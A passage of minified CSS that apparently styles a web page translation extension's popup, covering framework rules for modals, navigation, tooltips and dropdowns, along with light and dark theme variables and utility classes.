summary::-moz-list-bullet{list-style-type:none}details summary::after{display:block;width:1rem;height:1rem;-webkit-margin-start:calc(var(--spacing,1rem)*0.5);margin-inline-start:calc(var(--spacing,1rem)*0.5);float:right;transform:rotate(-90deg);background-image:var(--icon-chevron);background-position:right center;background-size:1rem auto;background-repeat:no-repeat;content:"";transition:transform var(--transition)}details summary:focus{outline:none}details summary:focus:not([role="button"]){color:var(--accordion-active-summary-color)}details summary[role="button"]{width:100%;text-align:left}details summary[role="button"]::after{height:calc(1rem*var(--line-height,1.5));background-image:var(--icon-chevron-button)}details summary[role="button"]:not(.outline).contrast::after{background-image:var(--icon-chevron-button-inverse)}details[open]>summary{margin-bottom:calc(var(--spacing))}details[open]>summary:not([role]):not(:focus){color:var(--accordion-open-summary-color)}details[open]>summary::after{transform:rotate(0)}[dir="rtl"] details summary{text-align:right}[dir="rtl"] details summary::after{float:left;background-position:left center}article{margin:var(--block-spacing-vertical)0;padding:var(--block-spacing-vertical) var(--block-spacing-horizontal);border-radius:var(--border-radius);background:var(--card-background-color);box-shadow:var(--card-box-shadow)}article>header,article>footer{margin-right:calc(var(--block-spacing-horizontal)*-1);margin-left:calc(var(--block-spacing-horizontal)*-1);padding:calc(var(--block-spacing-vertical)*0.66) var(--block-spacing-horizontal);background-color:var(--card-sectionning-background-color)}article>header{margin-top:calc(var(--block-spacing-vertical)*-1);margin-bottom:var(--block-spacing-vertical);border-bottom:var(--border-width) solid var(--card-border-color);border-top-right-radius:var(--border-radius);border-top-left-radius:var(--border-radius)}article>footer{margin-top:var(--block-spacing-vertical);margin-bottom:calc(var(--block-spacing-vertical)*-1);border-top:var(--border-width) solid var(--card-border-color);border-bottom-right-radius:var(--border-radius);border-bottom-left-radius:var(--border-radius)}#mount{--scrollbar-width:0px}dialog{display:flex;z-index:999;position:fixed;top:0;right:0;bottom:0;left:0;align-items:center;justify-content:center;width:inherit;min-width:100%;height:inherit;min-height:100%;padding:var(--spacing);border:0;-webkit-backdrop-filter:var(--modal-overlay-backdrop-filter);backdrop-filter:var(--modal-overlay-backdrop-filter);background-color:var(--modal-overlay-background-color);color:var(--color)}dialog article{max-height:calc(100vh - var(--spacing)*2);overflow:auto}@media (min-width:576px){dialog article{max-width:510px}}@media (min-width:768px){dialog article{max-width:700px}}dialog article>header,dialog article>footer{padding:calc(var(--block-spacing-vertical)*0.5) var(--block-spacing-horizontal)}dialog article>header .close{margin:0;margin-left:var(--spacing);float:right}dialog article>footer{text-align:right}dialog article>footer [role="button"]{margin-bottom:0}dialog article>footer [role="button"]:not(:first-of-type){margin-left:calc(var(--spacing)*0.5)}dialog article p:last-of-type{margin:0}dialog article .close{display:block;width:1rem;height:1rem;margin-top:calc(var(--block-spacing-vertical)*-0.5);margin-bottom:var(--typography-spacing-vertical);margin-left:auto;background-image:var(--icon-close);background-position:center;background-size:auto 1rem;background-repeat:no-repeat;opacity:0.5;transition:opacity var(--transition)}dialog article .close:is([aria-current],:hover,:active,:focus){opacity:1}dialog:not([open]),dialog[open="false"]{display:none}.modal-is-open{padding-right:var(--scrollbar-width,0px);overflow:hidden;pointer-events:none}.modal-is-open dialog{pointer-events:auto}:where(.modal-is-opening,.modal-is-closing) dialog,:where(.modal-is-opening,.modal-is-closing) dialog>article{animation-duration:0.2s;animation-timing-function:ease-in-out;animation-fill-mode:both}:where(.modal-is-opening,.modal-is-closing) dialog{animation-duration:0.8s;animation-name:modal-overlay}:where(.modal-is-opening,.modal-is-closing) dialog>article{animation-delay:0.2s;animation-name:modal}.modal-is-closing dialog,.modal-is-closing dialog>article{animation-delay:0s;animation-direction:reverse}@keyframes modal-overlay{from{-webkit-backdrop-filter:none;backdrop-filter:none;background-color:transparent}}@keyframes modal{from{transform:translateY(-100%);opacity:0}}:where(nav li)::before{float:left;content:"​"}nav,nav ul{display:flex}nav{justify-content:space-between}nav ol,nav ul{align-items:center;margin-bottom:0;padding:0;list-style:none}nav ol:first-of-type,nav ul:first-of-type{margin-left:calc(var(--nav-element-spacing-horizontal)*-1)}nav ol:last-of-type,nav ul:last-of-type{margin-right:calc(var(--nav-element-spacing-horizontal)*-1)}nav li{display:inline-block;margin:0;padding:var(--nav-element-spacing-vertical) var(--nav-element-spacing-horizontal)}nav li>*{--spacing:0}nav :where(a,[role="link"]){display:inline-block;margin:calc(var(--nav-link-spacing-vertical)*-1) calc(var(--nav-link-spacing-horizontal)*-1);padding:var(--nav-link-spacing-vertical) var(--nav-link-spacing-horizontal);border-radius:var(--border-radius);text-decoration:none}nav :where(a,[role="link"]):is([aria-current],:hover,:active,:focus){text-decoration:none}nav[aria-label="breadcrumb"]{align-items:center;justify-content:start}nav[aria-label="breadcrumb"] ul li:not(:first-child){-webkit-margin-start:var(--nav-link-spacing-horizontal);margin-inline-start:var(--nav-link-spacing-horizontal)}nav[aria-label="breadcrumb"] ul li:not(:last-child) ::after{position:absolute;width:calc(var(--nav-link-spacing-horizontal)*2);-webkit-margin-start:calc(var(--nav-link-spacing-horizontal)/2);margin-inline-start:calc(var(--nav-link-spacing-horizontal)/2);content:"/";color:var(--muted-color);text-align:center}nav[aria-label="breadcrumb"] a[aria-current]{background-color:transparent;color:inherit;text-decoration:none;pointer-events:none}nav [role="button"]{margin-right:inherit;margin-left:inherit;padding:var(--nav-link-spacing-vertical) var(--nav-link-spacing-horizontal)}aside nav,aside ol,aside ul,aside li{display:block}aside li{padding:calc(var(--nav-element-spacing-vertical)*0.5) var(--nav-element-spacing-horizontal)}aside li a{display:block}aside li [role="button"]{margin:inherit}[dir="rtl"] nav[aria-label="breadcrumb"] ul li:not(:last-child) ::after{content:"\\"}progress{display:inline-block;vertical-align:baseline}progress{-webkit-appearance:none;-moz-appearance:none;display:inline-block;appearance:none;width:100%;height:0.5rem;margin-bottom:calc(var(--spacing)*0.5);overflow:hidden;border:0;border-radius:var(--border-radius);background-color:var(--progress-background-color);color:var(--progress-color)}progress::-webkit-progress-bar{border-radius:var(--border-radius);background:none}progress[value]::-webkit-progress-value{background-color:var(--progress-color)}progress::-moz-progress-bar{background-color:var(--progress-color)}@media (prefers-reduced-motion:no-preference){progress:indeterminate{background:var(--progress-background-color) linear-gradient(to right,var(--progress-color) 30%,var(--progress-background-color) 30%) top left/150% 150%no-repeat;animation:progress-indeterminate 1s linear infinite}progress:indeterminate[value]::-webkit-progress-value{background-color:transparent}progress:indeterminate::-moz-progress-bar{background-color:transparent}}@media (prefers-reduced-motion:no-preference){[dir="rtl"] progress:indeterminate{animation-direction:reverse}}@keyframes progress-indeterminate{0%{background-position:200%0}100%{background-position:-200%0}}details[role="list"],li[role="list"]{position:relative}details[role="list"] summary+ul,li[role="list"]>ul{display:flex;z-index:99;position:absolute;top:auto;right:0;left:0;flex-direction:column;margin:0;padding:0;border:var(--border-width) solid var(--dropdown-border-color);border-radius:var(--border-radius);border-top-right-radius:0;border-top-left-radius:0;background-color:var(--dropdown-background-color);box-shadow:var(--card-box-shadow);color:var(--dropdown-color);white-space:nowrap}details[role="list"] summary+ul li,li[role="list"]>ul li{width:100%;margin-bottom:0;padding:calc(var(--form-element-spacing-vertical)*0.5) var(--form-element-spacing-horizontal);list-style:none}details[role="list"] summary+ul li:first-of-type,li[role="list"]>ul li:first-of-type{margin-top:calc(var(--form-element-spacing-vertical)*0.5)}details[role="list"] summary+ul li:last-of-type,li[role="list"]>ul li:last-of-type{margin-bottom:calc(var(--form-element-spacing-vertical)*0.5)}details[role="list"] summary+ul li a,li[role="list"]>ul li a{display:block;margin:calc(var(--form-element-spacing-vertical)*-0.5) calc(var(--form-element-spacing-horizontal)*-1);padding:calc(var(--form-element-spacing-vertical)*0.5) var(--form-element-spacing-horizontal);overflow:hidden;color:var(--dropdown-color);text-decoration:none;text-overflow:ellipsis}details[role="list"] summary+ul li a:hover,li[role="list"]>ul li a:hover{background-color:var(--dropdown-hover-background-color)}details[role="list"] summary::after,li[role="list"]>a::after{display:block;width:1rem;height:calc(1rem*var(--line-height,1.5));-webkit-margin-start:0.5rem;margin-inline-start:0.5rem;float:right;transform:rotate(0deg);background-position:right center;background-size:1rem auto;background-repeat:no-repeat;content:""}details[role="list"]{padding:0;border-bottom:none}details[role="list"] summary{margin-bottom:0}details[role="list"] summary:not([role]){height:calc(1rem*var(--line-height) + var(--form-element-spacing-vertical)*2 + var(--border-width)*2);padding:var(--form-element-spacing-vertical) var(--form-element-spacing-horizontal);border:var(--border-width) solid var(--form-element-border-color);border-radius:var(--border-radius);background-color:var(--form-element-background-color);color:var(--form-element-placeholder-color);line-height:inherit;cursor:pointer;transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}details[role="list"] summary:not([role]):active,details[role="list"] summary:not([role]):focus{border-color:var(--form-element-active-border-color);background-color:var(--form-element-active-background-color)}details[role="list"] summary:not([role]):focus{box-shadow:0 0 0 var(--outline-width) var(--form-element-focus-color)}details[role="list"][open] summary{border-bottom-right-radius:0;border-bottom-left-radius:0}details[role="list"][open] summary::before{display:block;z-index:1;position:fixed;top:0;right:0;bottom:0;left:0;background:none;content:"";cursor:default}nav details[role="list"] summary,nav li[role="list"] a{display:flex;direction:ltr}nav details[role="list"] summary+ul,nav li[role="list"]>ul{min-width:-moz-fit-content;min-width:fit-content;border-radius:var(--border-radius)}nav details[role="list"] summary+ul li a,nav li[role="list"]>ul li a{border-radius:0}nav details[role="list"] summary,nav details[role="list"] summary:not([role]){height:auto;padding:var(--nav-link-spacing-vertical) var(--nav-link-spacing-horizontal)}nav details[role="list"][open] summary{border-radius:var(--border-radius)}nav details[role="list"] summary+ul{margin-top:var(--outline-width);-webkit-margin-start:0;margin-inline-start:0}nav details[role="list"] summary[role="link"]{margin-bottom:calc(var(--nav-link-spacing-vertical)*-1);line-height:var(--line-height)}nav details[role="list"] summary[role="link"]+ul{margin-top:calc(var(--nav-link-spacing-vertical) + var(--outline-width));-webkit-margin-start:calc(var(--nav-link-spacing-horizontal)*-1);margin-inline-start:calc(var(--nav-link-spacing-horizontal)*-1)}li[role="list"]:hover>ul,li[role="list"] a:active~ul,li[role="list"] a:focus~ul{display:flex}li[role="list"]>ul{display:none;margin-top:calc(var(--nav-link-spacing-vertical) + var(--outline-width));-webkit-margin-start:calc(var(--nav-element-spacing-horizontal) - var(--nav-link-spacing-horizontal));margin-inline-start:calc(var(--nav-element-spacing-horizontal) - var(--nav-link-spacing-horizontal))}li[role="list"]>a::after{background-image:var(--icon-chevron)}[aria-busy="true"]{cursor:progress}[aria-busy="true"]:not(input,select,textarea)::before{display:inline-block;width:1em;height:1em;border:0.1875em solid currentColor;border-radius:1em;border-right-color:transparent;content:"";vertical-align:text-bottom;vertical-align:-0.125em;animation:spinner 0.75s linear infinite;opacity:var(--loading-spinner-opacity)}[aria-busy="true"]:not(input,select,textarea):not(:empty)::before{margin-right:calc(var(--spacing)*0.5);margin-left:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-margin-end:calc(var(--spacing)*0.5);margin-inline-end:calc(var(--spacing)*0.5)}[aria-busy="true"]:not(input,select,textarea):empty{text-align:center}button[aria-busy="true"],input[type="submit"][aria-busy="true"],input[type="button"][aria-busy="true"],input[type="reset"][aria-busy="true"],a[aria-busy="true"]{pointer-events:none}@keyframes spinner{to{transform:rotate(360deg)}}[data-tooltip]{position:relative}[data-tooltip]:not(a,button,input){border-bottom:1px dotted;text-decoration:none;cursor:help}[data-tooltip][data-placement="top"]::before,[data-tooltip][data-placement="top"]::after,[data-tooltip]::before,[data-tooltip]::after{display:block;z-index:99;position:absolute;bottom:100%;left:50%;padding:0.25rem 0.5rem;overflow:hidden;transform:translate(-50%,-0.25rem);border-radius:var(--border-radius);background:var(--tooltip-background-color);content:attr(data-tooltip);color:var(--tooltip-color);font-style:normal;font-weight:var(--font-weight);font-size:0.875rem;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;opacity:0;pointer-events:none}[data-tooltip][data-placement="top"]::after,[data-tooltip]::after{padding:0;transform:translate(-50%,0rem);border-top:0.3rem solid;border-right:0.3rem solid transparent;border-left:0.3rem solid transparent;border-radius:0;background-color:transparent;content:"";color:var(--tooltip-background-color)}[data-tooltip][data-placement="bottom"]::before,[data-tooltip][data-placement="bottom"]::after{top:100%;bottom:auto;transform:translate(-50%,0.25rem)}[data-tooltip][data-placement="bottom"]:after{transform:translate(-50%,-0.3rem);border:0.3rem solid transparent;border-bottom:0.3rem solid}[data-tooltip][data-placement="left"]::before,[data-tooltip][data-placement="left"]::after{top:50%;right:100%;bottom:auto;left:auto;transform:translate(-0.25rem,-50%)}[data-tooltip][data-placement="left"]:after{transform:translate(0.3rem,-50%);border:0.3rem solid transparent;border-left:0.3rem solid}[data-tooltip][data-placement="right"]::before,[data-tooltip][data-placement="right"]::after{top:50%;right:auto;bottom:auto;left:100%;transform:translate(0.25rem,-50%)}[data-tooltip][data-placement="right"]:after{transform:translate(-0.3rem,-50%);border:0.3rem solid transparent;border-right:0.3rem solid}[data-tooltip]:focus::before,[data-tooltip]:focus::after,[data-tooltip]:hover::before,[data-tooltip]:hover::after{opacity:1}@media (hover:hover) and (pointer:fine){[data-tooltip][data-placement="bottom"]:focus::before,[data-tooltip][data-placement="bottom"]:focus::after,[data-tooltip][data-placement="bottom"]:hover [data-tooltip]:focus::before,[data-tooltip][data-placement="bottom"]:hover [data-tooltip]:focus::after,[data-tooltip]:hover::before,[data-tooltip]:hover::after{animation-duration:0.2s;animation-name:tooltip-slide-top}[data-tooltip][data-placement="bottom"]:focus::after,[data-tooltip][data-placement="bottom"]:hover [data-tooltip]:focus::after,[data-tooltip]:hover::after{animation-name:tooltip-caret-slide-top}[data-tooltip][data-placement="bottom"]:focus::before,[data-tooltip][data-placement="bottom"]:focus::after,[data-tooltip][data-placement="bottom"]:hover::before,[data-tooltip][data-placement="bottom"]:hover::after{animation-duration:0.2s;animation-name:tooltip-slide-bottom}[data-tooltip][data-placement="bottom"]:focus::after,[data-tooltip][data-placement="bottom"]:hover::after{animation-name:tooltip-caret-slide-bottom}[data-tooltip][data-placement="left"]:focus::before,[data-tooltip][data-placement="left"]:focus::after,[data-tooltip][data-placement="left"]:hover::before,[data-tooltip][data-placement="left"]:hover::after{animation-duration:0.2s;animation-name:tooltip-slide-left}[data-tooltip][data-placement="left"]:focus::after,[data-tooltip][data-placement="left"]:hover::after{animation-name:tooltip-caret-slide-left}[data-tooltip][data-placement="right"]:focus::before,[data-tooltip][data-placement="right"]:focus::after,[data-tooltip][data-placement="right"]:hover::before,[data-tooltip][data-placement="right"]:hover::after{animation-duration:0.2s;animation-name:tooltip-slide-right}[data-tooltip][data-placement="right"]:focus::after,[data-tooltip][data-placement="right"]:hover::after{animation-name:tooltip-caret-slide-right}}@keyframes tooltip-slide-top{from{transform:translate(-50%,0.75rem);opacity:0}to{transform:translate(-50%,-0.25rem);opacity:1}}@keyframes tooltip-caret-slide-top{from{opacity:0}50%{transform:translate(-50%,-0.25rem);opacity:0}to{transform:translate(-50%,0rem);opacity:1}}@keyframes tooltip-slide-bottom{from{transform:translate(-50%,-0.75rem);opacity:0}to{transform:translate(-50%,0.25rem);opacity:1}}@keyframes tooltip-caret-slide-bottom{from{opacity:0}50%{transform:translate(-50%,-0.5rem);opacity:0}to{transform:translate(-50%,-0.3rem);opacity:1}}@keyframes tooltip-slide-left{from{transform:translate(0.75rem,-50%);opacity:0}to{transform:translate(-0.25rem,-50%);opacity:1}}@keyframes tooltip-caret-slide-left{from{opacity:0}50%{transform:translate(0.05rem,-50%);opacity:0}to{transform:translate(0.3rem,-50%);opacity:1}}@keyframes tooltip-slide-right{from{transform:translate(-0.75rem,-50%);opacity:0}to{transform:translate(0.25rem,-50%);opacity:1}}@keyframes tooltip-caret-slide-right{from{opacity:0}50%{transform:translate(-0.05rem,-50%);opacity:0}to{transform:translate(-0.3rem,-50%);opacity:1}}[aria-controls]{cursor:pointer}[aria-disabled="true"],[disabled]{cursor:not-allowed}[aria-hidden="false"][hidden]{display:initial}[aria-hidden="false"][hidden]:not(:focus){clip:rect(0,0,0,0);position:absolute}a,area,button,input,label,select,summary,textarea,[tabindex]{-ms-touch-action:manipulation}[dir="rtl"]{direction:rtl}@media (prefers-reduced-motion:reduce){*:not([aria-busy="true"]),:not([aria-busy="true"])::before,:not([aria-busy="true"])::after{background-attachment:initial!important;animation-duration:1ms!important;animation-delay:-1ms!important;animation-iteration-count:1!important;scroll-behavior:auto!important;transition-delay:0s!important;transition-duration:0s!important}}#mount#mount{--primary:#ea4c89;--primary-hover:#f082ac;--icon-xia:url();--switch-checked-background-color:var(--primary)}li.select-link.select-link:hover>ul{display:none}li.select-link.select-link>ul{display:none}li.select-link.select-link a:focus~ul{display:none}li.select-link.select-link a:active~ul{display:none}li.select-link-active.select-link-active>ul{display:flex}li.select-link-active.select-link-active:hover>ul{display:flex}li.select-link-active.select-link-active a:focus~ul{display:flex}li.select-link-active.select-link-active a:active~ul{display:flex}ul.select-link-ul.select-link-ul{right:0px;left:auto}a.select-link-selected{background-color:var(--primary-focus)}.immersive-translate-no-select{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}li[role="list"].no-arrow{margin-left:8px;padding-right:0}li[role="list"]>a::after{-webkit-margin-start:0.2rem;margin-inline-start:0.2rem}li[role="list"].no-arrow>a,li[role="list"].no-arrow>a:link,li[role="list"].no-arrow>a:visited{color:var(--secondary)}select.min-select{--form-element-spacing-horizontal:0;margin-bottom:4px;max-width:128px;overflow:hidden;color:var(--primary);font-size:13px;border:none;padding:0;padding-right:20px;padding-left:8px;text-overflow:ellipsis;color:var(--color)}select.min-select-secondary{color:var(--color)}select.min-select:focus{outline:none;border:none;--box-shadow:none}select.min-select-no-arrow{background-image:none;padding-right:0}select.min-select-left{padding-right:0px;text-overflow:ellipsis;text-align:left}.muted{color:var(--muted-color)}.select.button-select{--background-color:var(--secondary-hover);--border-color:var(--secondary-hover);--color:var(--secondary-inverse);cursor:pointer;--box-shadow:var(--button-box-shadow,0 0 0 rgba(0,0,0,0));padding:var(--form-element-spacing-vertical) var(--form-element-spacing-horizontal);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:16px;line-height:var(--line-height);text-align:center;cursor:pointer;transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition);-webkit-appearance:button;margin:0;margin-bottom:0px;overflow:visible;font-family:inherit;text-transform:none}html{font-size:16px;--font-size:16px}body{padding:0;margin:0 auto;min-width:268px;border-radius:10px}.popup-container{color:#666;background-color:var(--popup-footer-background-color);width:316px;min-width:316px}.popup-content{background-color:var(--popup-content-background-color);border-radius:0px 0px 12px 12px;padding:16px 20px}.immersive-translate-popup-overlay{position:fixed;top:0;left:0;height:100%;width:100%;touch-action:none}.immersive-translate-popup-wrapper{background:var(--background-color);border-radius:10px;border:1px solid var(--muted-border-color)}#mount#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:4px;--border-width:1px;--outline-width:3px;--spacing:16px;--typography-spacing-vertical:24px;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:12px;--form-element-spacing-horizontal:16px;--nav-element-spacing-vertical:16px;--nav-element-spacing-horizontal:8px;--nav-link-spacing-vertical:8px;--nav-link-spacing-horizontal:8px;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(4px)}[data-theme="light"],#mount:not([data-theme="dark"]){--popup-footer-background-color:#e8eaeb;--popup-content-background-color:#ffffff;--popup-item-background-color:#f3f5f6;--popup-item-hover-background-color:#eaeced;--popup-trial-pro-background-color:#F9FBFC;--text-black-2:#222222;--text-gray-2:#222222;--text-gray-6:#666666;--text-gray-9:#999999;--text-gray-c2:#c2c2c2;--service-select-content-shadow:0px 2px 12px 0px rgba(75,76,77,0.20);--service-select-border-color:#FAFAFA;--service-select-selected-background-color:#F3F5F6}@media only screen and (prefers-color-scheme:dark){#mount:not([data-theme="light"]){--popup-footer-background-color:#0d0d0d;--popup-content-background-color:#191919;--popup-item-background-color:#272727;--popup-item-hover-background-color:#333333;--popup-trial-pro-background-color:#222222;--text-black-2:#ffffff;--text-gray-2:#dbdbdb;--text-gray-6:#b3b3b3;--text-gray-9:#777777;--text-gray-c2:#5b5b5b;--service-select-content-shadow:0px 2px 12px 0px rgba(0,0,0,0.90);--service-select-border-color:#2C2C2C;--service-select-selected-background-color:#333333}}[data-theme="dark"]{--popup-footer-background-color:#0d0d0d;--popup-content-background-color:#191919;--popup-item-background-color:#272727;--popup-item-hover-background-color:#333333;--popup-trial-pro-background-color:#222222;--text-black-2:#ffffff;--text-gray-2:#dbdbdb;--text-gray-6:#b3b3b3;--text-gray-9:#777777;--text-gray-c2:#5b5b5b;--service-select-content-shadow:0px 2px 12px 0px rgba(0,0,0,0.90);--service-select-border-color:#2C2C2C;--service-select-selected-background-color:#333333}.text-balck{color:var(--text-black-2)}.text-gray-2{color:var(--text-gray-2)}.text-gray-6{color:var(--text-gray-6)}.text-gray-9{color:var(--text-gray-9)}.text-gray-c2{color:var(--text-gray-c2)}#mount{min-width:268px}.main-button{font-size:15px;vertical-align:middle;border-radius:12px;padding:unset;height:44px;line-height:44px}.pt-4{padding-top:16px}.p-2{padding:8px}.pl-5{padding-left:48px}.p-0{padding:0}.pl-2{padding-left:8px}.pl-4{padding-left:24px}.pt-2{padding-top:8px}.pb-2{padding-bottom:8px}.pb-4{padding-bottom:16px}.pb-5{padding-bottom:20px}.pr-5{padding-right:48px}.text-sm{font-size:13px}.text-base{font-size:16px}.w-full{width:100%}.flex{display:flex}.flex-row{flex-direction:row}.flex-wrap{flex-wrap:wrap}.flex-end{justify-content:flex-end}.flex-grow{flex-grow:1}.justify-between{justify-content:space-between}.mb-0{margin-bottom:0px}.mb-2{margin-bottom:8px}.mb-4{margin-bottom:16px}.mb-3{margin-bottom:12px}.inline-block{display:inline-block}.py-2{padding-top:8px;padding-bottom:8px}.py-2-5{padding-top:6px;padding-bottom:6px}.mt-0{margin-top:0}.mt-2{margin-top:8px}.mt-3{margin-top:12px}.mt-4{margin-top:16px}.mt-5{margin-top:20px}.mt-6{margin-top:24px}.mb-1{margin-bottom:4px}.ml-4{margin-left:24px}.ml-3{margin-left:16px}.ml-2{margin-left:8px}.ml-1{margin-left:4px}.mr-1{margin-right:4px}.mr-2{margin-right:8px}.mr-3{margin-right:16px}.mx-2{margin-left:8px;margin-right:8px}.pl-3{padding-left:12px}.pr-3{padding-right:12px}.p-3{padding:12px}.px-1{padding-left:4px;padding-right:4px}.px-3{padding-left:12px;padding-right:12px}.pt-3{padding-top:12px}.px-6{padding-left:18px;padding-right:18px}.px-4{padding-left:16px;padding-right:16px}.pt-6{padding-top:20px}.py-3{padding-top:12px;padding-bottom:12px}.py-0{padding-top:0;padding-bottom:0}.left-auto{left:auto!important}.max-h-28{max-height:112px}.max-h-30{max-height:120px}.overflow-y-scroll{overflow-y:scroll}.text-xs{font-size:12px}.flex-1{flex:1}.flex-3{flex:3}.flex-4{flex:4}.flex-2{flex:2}.items-center{align-items:center}.max-content{width:max-content}.justify-center{justify-content:center}.items-end{align-items:flex-end}.items-baseline{align-items:baseline}.my-5{margin-top:48px;margin-bottom:48px}.my-4{margin-top:24px;margin-bottom:24px}.my-3{margin-top:16px;margin-bottom:16px}.pt-3{padding-top:12px}.px-3{padding-left:12px;padding-right:12px}.pt-2{padding-top:8px}.px-2{padding-left:8px;padding-right:8px}.pt-1{padding-top:4px}.px-1{padding-left:4px;padding-right:4px}.pb-2{padding-bottom:8px}.justify-end{justify-content:flex-end}.w-auto{width:auto}.shrink-0{flex-shrink:0}select.language-select,select.translate-service,select.min-select{--form-element-spacing-horizontal:0;margin-bottom:0px;max-width:unset;flex:1;overflow:hidden;font-size:13px;border:none;border-radius:8px;padding-right:30px;padding-left:0px;background-position:center right 12px;background-size:16px auto;background-image:var(--icon-xia);text-overflow:ellipsis;color:var(--text-gray-2);background-color:transparent;box-shadow:unset!important;cursor:pointer}select.more{background-position:center right;padding-right:20px}select.transform-padding-left{padding-left:12px;transform:translateX(-12px);background-position:center right 0px}select.translate-service{color:var(--text-black-2)}@media (prefers-color-scheme:dark){select.language-select option,select.translate-service option,select.min-select option{background-color:#666666}}.text-overflow-ellipsis{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.max-w-20{max-width:180px;white-space:nowrap}select.min-select-secondary{color:var(--color)}select.min-select:focus{outline:none;border:none;--box-shadow:none}select.min-select-no-arrow{background-image:none;padding-right:0}select.min-select-left{padding-right:0px;text-overflow:ellipsis;text-align:left}.popup-footer{background-color:var(--popup-footer-background-color);height:40px}.text-right{text-align:right}.clickable{cursor:pointer}.close{cursor:pointer;width:16px;height:16px;background-image:var(--icon-close);background-position:center;background-size:auto 1rem;background-repeat:no-repeat;opacity:0.5;transition:opacity var(--transition)}.padding-two-column{padding-left:40px;padding-right:40px}.muted{color:#999}.text-label{color:#666}.display-none{display:none}@media (prefers-color-scheme:dark){.text-label{color:#9ca3af}}.text-decoration-none{text-decoration:none}.text-decoration-none:is([aria-current],:hover,:active,:focus),[role="link"]:is([aria-current],:hover,:active,:focus){--text-decoration:none!important;background-color:transparent!important}.language-select-container{position:relative;width:100%;background-color:var(--popup-item-background-color);height:55px;border-radius:12px}select.language-select{color:var(--text-black-2);font-size:14px;padding:8px 24px 24px 16px;position:absolute;border-radius:12px;position:absolute;left:0;right:0;top:0;bottom:0}select.text-gray-6{color:var(--text-gray-6)}.language-select-container label{position:absolute;bottom:10px;left:16px;font-size:12px;color:var(--text-gray-9);line-height:12px;margin:0}.translation-service-container{background-color:var(--popup-item-background-color);border-radius:12px}.min-select-container{display:flex;justify-content:space-between;align-items:center;height:44px;background-color:var(--popup-item-background-color);padding-left:16px}.min-select-container:first-child{border-top-left-radius:10px;border-top-right-radius:10px}.min-select-container:last-child{border-bottom-left-radius:10px;border-bottom-right-radius:10px}.min-select-container:only-child{border-radius:10px}.translate-mode{width:44px;height:44px;border-radius:22px;background-color:var(--popup-item-background-color);display:flex;align-items:center;justify-content:center;flex-shrink:0;cursor:pointer}.translate-mode svg{fill:var(--text-gray-2)}.widgets-container{display:flex;align-items:center;justify-content:space-between}.widgets-container>:not(:last-child){margin-right:8px}.widget-item{display:flex;align-items:center;justify-content:center;background-color:var(--popup-item-background-color);font-size:12px;height:44px;border-radius:8px;cursor:pointer;flex:1}.widget-item svg{fill:var(--text-gray-2)}.setting svg{fill:var(--text-gray-6)}.share-button-container{display:flex;align-items:center;cursor:pointer;padding:2px 3px 0 8px}.share-button-container svg{fill:var(--text-gray-9)}.min-select-container:hover,.language-select-container:hover,.widget-item:hover,.translate-mode:hover{background-color:var(--popup-item-hover-background-color)}.main-button:hover{background-color:#f5508f}.share-button-container:hover{background-color:var(--popup-item-background-color);border-radius:6px}.error-boundary{background:#fff2f0;border:1px solid #ffccc7;display:flex;padding:12px;font-size:14px;color:rgba(0,0,0,0.88);word-break:break-all;margin:12px;border-radius:12px;flex-direction:column}.upgrade-pro{border-radius:11px;background:linear-gradient(57deg,#272727 19.8%,#696969 82.2%);padding:2px 8px;transform:scale(0.85)}.upgrade-pro span{background:linear-gradient(180deg,#FFEAB4 17.65%,#F8C235 85.29%);background-clip:text;-webkit-background-clip:text;-webkit-text-fill-color:transparent;font-size:12px;margin-left:4px}.upgrade-pro svg{margin-top:-2px}.upgrade-pro:hover{background:linear-gradient(57deg,#3D3D3D 19.8%,#949494 82.2%)}.border-bottom-radius-0{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.trial-pro-container{border-radius:0px 0px 12px 12px;background:var(--popup-trial-pro-background-color);display:flex;align-items:center;height:44px;padding-left:16px;padding-right:12px;font-size:12px}.trial-pro-container label{line-height:13px;color:var(--text-black-2)}.trial-pro-container img{margin-left:5px}.cursor-pointer{cursor:pointer}.upgrade-pro-discount-act{height:25px;display:flex;padding:0 4px;align-items:center;border-radius:15px;background:linear-gradient(90deg,#CEFBFA 11.33%,#D7F56F 63.75%,#FCCD5E 100%);transform:scale(0.9);box-shadow:0px 1.8px 3.6px 0px rgba(0,0,0,0.10);cursor:pointer}.upgrade-pro-discount-act span{font-size:12px;font-weight:700;margin-left:4px;color:#222222}.upgrade-pro-discount-act:hover{text-decoration:unset;background:linear-gradient(90deg,#E2FFFE 11.33%,#E6FF91 63.75%,#FFDF93 100%)}.custom-select-container{width:200px;position:relative;flex:1}.custom-select-content{border-radius:12px;background:var(--popup-content-background-color);box-shadow:var(--service-select-content-shadow);border:1px solid var(--service-select-border-color);padding:4px 5px;position:absolute;left:0;right:0;z-index:100;overflow-y:auto}.custom-select-item{font-size:13px;padding:5px 6px;border-radius:8px;display:flex;align-items:center;cursor:pointer;color:var(--text-black-2);width:100%;overflow:hidden;height:30px;line-height:30px}.custom-select-item-img{width:20px;height:20px;margin-right:4px}@media (prefers-color-scheme:dark){.custom-select-item-img{margin-right:6px}}.custom-select-content .custom-select-item.selected,.custom-select-content .custom-select-item:hover{background:var(--service-select-selected-background-color)}.custom-select-item>span{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.custom-select-item-pro{font-size:12px;margin-left:6px}.custom-select-item-pro img{margin:0 